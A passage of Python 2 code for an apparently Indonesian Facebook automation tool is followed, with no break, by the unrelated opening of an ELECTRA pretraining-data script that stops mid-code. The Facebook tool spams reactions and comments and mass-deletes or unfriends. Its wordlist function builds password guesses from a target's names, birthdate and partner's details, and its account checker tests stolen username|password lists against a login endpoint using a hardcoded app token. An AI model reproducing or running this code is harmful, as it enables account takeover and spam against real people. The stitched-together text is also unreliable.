raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() def menu_bot(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. Bot Reactions Target Post' print '║-> \x1b[1;37;40m2. Bot Reactions Group Post' print '║-> \x1b[1;37;40m3. Bot Comment Target Post' print '║-> \x1b[1;37;40m4. Bot Comment Group Post' print '║-> \x1b[1;37;40m5. Mass Delete Post' print '║-> \x1b[1;37;40m6. Accept Friend Requests' print '║-> \x1b[1;37;40m7. Unfriends' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' bot_pilih() def bot_pilih(): bots = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Can\'t empty' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mnot found' bot_pilih() def menu_react(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. \x1b[1;97mLike' print '║-> \x1b[1;37;40m2. \x1b[1;97mLove' print '║-> \x1b[1;37;40m3. \x1b[1;97mWow' print '║-> \x1b[1;37;40m4. \x1b[1;97mHaha' print '║-> \x1b[1;37;40m5. \x1b[1;97mSad' print '║-> \x1b[1;37;40m6. \x1b[1;97mAngry' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' react_pilih() def react_pilih(): global tipe aksi = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Can\'t empty' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mnot found' react_pilih() def react(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Finish \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def grup_react(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. \x1b[1;97mLike' print '║-> \x1b[1;37;40m2. \x1b[1;97mLove' print '║-> \x1b[1;37;40m3. \x1b[1;97mWow' print '║-> \x1b[1;37;40m4. \x1b[1;97mHaha' print '║-> \x1b[1;37;40m5. \x1b[1;97mSad' print '║-> \x1b[1;37;40m6. \x1b[1;97mAngry' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Can\'t empty' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mnot found' reactg_pilih() def reactg(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Group \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Finish \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def bot_komen(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92m for newline" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mComments \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Finish \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def grup_komen(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Group \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mComments \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Finish \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def deletepost(): os.system('clear') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mStarting remove status\x1b[1;97m ...') print 52 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mFailed' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mRemoved' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Connection Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mFinish' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def accept(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) friends = json.loads(r.text) if '[]' in str(friends['data']): print '\x1b[1;91m[!] No friends request' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for i in friends['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Failed' print 52 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 52 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mFinish' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def unfriend(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mRemove\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mFinish' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def lain(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. Write Status' print '║-> \x1b[1;37;40m2. Make Wordlist' print '║-> \x1b[1;37;40m3. Account Checker' print '║-> \x1b[1;37;40m4. List Group' print '║-> \x1b[1;37;40m5. Profile Guard' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' pilih_lain() def pilih_lain(): other = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Can\'t empty' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mnot found' pilih_lain() def status(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mWrite status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Can\'t empty' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() def wordlist(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 52 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mName Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mName Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mName Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mName Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mName Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mName Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mSaved \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Make file failed' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() def check_akun(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 52 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mSeparator \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mDie\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() def grupsaya(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...') print 52 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 52 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mTotal Group \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mSaved \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stopped' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Group not found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] No connection' keluar() except IOError: print '\x1b[1;91m[!] Error when creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() def guard(): global toket os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '║-> \x1b[1;37;40m1. Enable' print '║-> \x1b[1;37;40m2. Disable' print '║-> \x1b[1;31;40m0. Back' print '\x1b[1;37;40m║' g = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mActivated' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('clear') print logo print 52 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDeactivated' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
build_pretraining_dataset.py
# coding=utf-8 # Copyright 2020 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Writes out text data as tfrecords that ELECTRA can be pre-trained on.""" import argparse import multiprocessing import os import random import time import tensorflow as tf from model import tokenization from util import utils def create_int_feature(values): feature = tf.train.Feature(int64_list=tf.train.Int64List(value=list(values))) return feature class ExampleBuilder(object): """Given a stream of input text, creates pretraining examples.""" def __init__(self, tokenizer, max_length): self._tokenizer = tokenizer self._current_sentences = [] self._current_length = 0 self._max_length = max_length self._target_length = max_length def add_line(self, line): """Adds a line of text to the current example being built.""" line = line.strip().replace("\n", " ") if (not line) and self._current_length != 0: # empty lines separate docs return self._create_example() bert_tokens = self._tokenizer.tokenize(line) bert_tokids = self._tokenizer.convert_tokens_to_ids(bert_tokens) self._current_sentences.append(bert_tokids) self._current_length += len(bert_tokids) if self._current_length >= self._target_length: return self._create_example() return None def _create_example(self): """Creates a pre-training example from the current list of sentences.""" # small chance to only have one segment as in classification tasks if random.random() < 0.1: first_segment_target_length = 100000 else: # -3 due to not yet having [CLS]/[SEP] tokens in the input text first_segment_target_length = (self._target_length - 3) // 2 first_segment = [] second_segment = [] for sentence in self._current_sentences: # the sentence goes to the first segment if (1) the first segment is # empty, (2) the sentence doesn't put the first segment over length or # (3) 50% of the time when it does put the first segment over length if (len(first_segment) == 0 or len(first_segment) + len(sentence) < first_segment_target_length or (len(second_segment) == 0 and len(first_segment) < first_segment_target_length and random.random() < 0.5)): first_segment += sentence else: second_segment += sentence # trim to max_length while accounting for not-yet-added [CLS]/[SEP] tokens first_segment = first_segment[:self._max_length - 2] second_segment = second_segment[:max(0, self._max_length - len(first_segment) - 3)] # prepare to start building the next example self._current_sentences = [] self._current_length = 0 # small chance for random-length instead of max_length-length example if random.random() < 0.05: self._target_length = random.randint(5, self._max_length) else: self._target_length = self._max_length return self._make_tf_example(first_segment, second_segment) def _make_tf_example(self, first_segment, second_segment): """Converts two "segments" of text into a tf.train.Example.""" vocab = self._tokenizer.vocab input_ids = [vocab["[CLS]"]] + first_segment + [vocab["[SEP]"]] segment_ids = [0] * len(input_ids) if second_segment: input_ids += second_segment + [vocab["[SEP]"]] segment_ids += [1] * (len(second_segment) + 1) input_mask = [1] * len(input_ids) input_ids += [0] * (self._max_length - len(input_ids)) input_mask += [0] * (self._max_length - len(input_mask)) segment_ids += [0] * (self._max_length - len(segment_ids)) tf_example = tf.train.Example(features=tf.train.Features(feature={ "input_ids": create_int_feature(input_ids), "input_mask": create_int_feature(input_mask), "segment_ids": create_int_feature(segment_ids) })) return tf_example class ExampleWriter(object): """Writes pre-training examples to disk.""" def __init__(self, job_id, vocab_file, output_dir, max_seq_length, num_jobs, blanks_separate_docs, do_lower_case, num_out_files=1000): self._blanks_separate_docs = blanks_separate_docs 